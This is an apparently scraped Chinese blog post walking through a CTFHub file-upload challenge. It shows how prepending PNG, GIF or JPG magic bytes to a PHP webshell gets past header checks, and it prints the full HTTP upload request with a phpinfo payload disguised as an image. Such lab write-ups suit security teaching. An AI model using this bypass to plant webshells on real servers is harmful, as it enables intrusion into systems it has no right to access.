当前位置: 首页 > news >正文

后端检测_文件头检测漏洞

把上面的文件头添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的。

常见的文件头:

注意:下面的文件头的格式是16进制的格式:

GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46

给webshell添加文件头

下面我们使用md.php文件做实验,文件是一个phpinfo文件,我们把文件头添加到这个md.php中:

因为文件头是16进制的文件格式,我们需要使用C32Asm这个工具以16进制的格式打开这个文件。 点击下载C32Asm_16进制文件编辑器

下面我们给md.php文件添加文件头的效果:

png:

上传时要修改Content-Type类型为image/png,例如Content-Type: image/png

POST / HTTP/1.1
Host: challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Length: 303
Cache-Control: max-age=0
Origin: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryebapg3FUVTaPAvLs
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/pngPNG<?php phpinfo();?>
------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="submit"Submit
------WebKitFormBoundaryebapg3FUVTaPAvLs--

访问文件查看,成功解析


http://www.mrgr.cn/news/61182.html

相关文章:

  • 在一个sql select中作多个sum并分组
  • 【功能测试总结】
  • Django创建项目速成
  • Hive4.0.1集群安装部署(Hadoop版本为3.3.6)(详细教程)
  • K8s 集群 IP 地址管理指南(K8s Cluster IP Address Management Guide)
  • flask_sqlalchemy relationship 子表排序
  • 线上问题排查@Transactional事务失效
  • 探索 Python 异步库的神秘力量:sniffio 库全解析
  • 鸿蒙开发 五十一 Command Line Tools 之ohpm
  • Java Lock LockSupport 总结
  • 玩转软件定义存储HBlock | 全方位体验天翼云存储资源盘活系统
  • MobileNetv2网络详解
  • 基于uniapp微信小程序的宠物救助宠物领养系统
  • 笔记本合上盖子不休眠设置
  • 4457M数字示波器
  • 【学术会议论文投稿】大数据治理:解锁数据价值,引领未来创新
  • python这10个接口自动化的装饰器
  • 阻塞队列/生产者消费者问题
  • 边缘图片渲染API-开箱即用的动态图片生成方案,轻松实现分享海报图片生成
  • 关联分析中的前因和后果怎么理解
  • 使用Vision Transformer进行图像分类
  • Vue.js(2) 入门指南:从基础知识到核心功能
  • 【动态三维重建】MonST3R:运动中的几何估计
  • 【专题】2024中国B2B市场营销现况白皮书报告汇总PDF洞察(附原数据表)
  • DevEco Studio的使用 习题答案<HarmonyOS第一课>
  • 【射频器件】QPM1017 QPM2102 QPC1031D QPC7333 QPC7339 QM45398 QM14068- Qorvo特点、及应用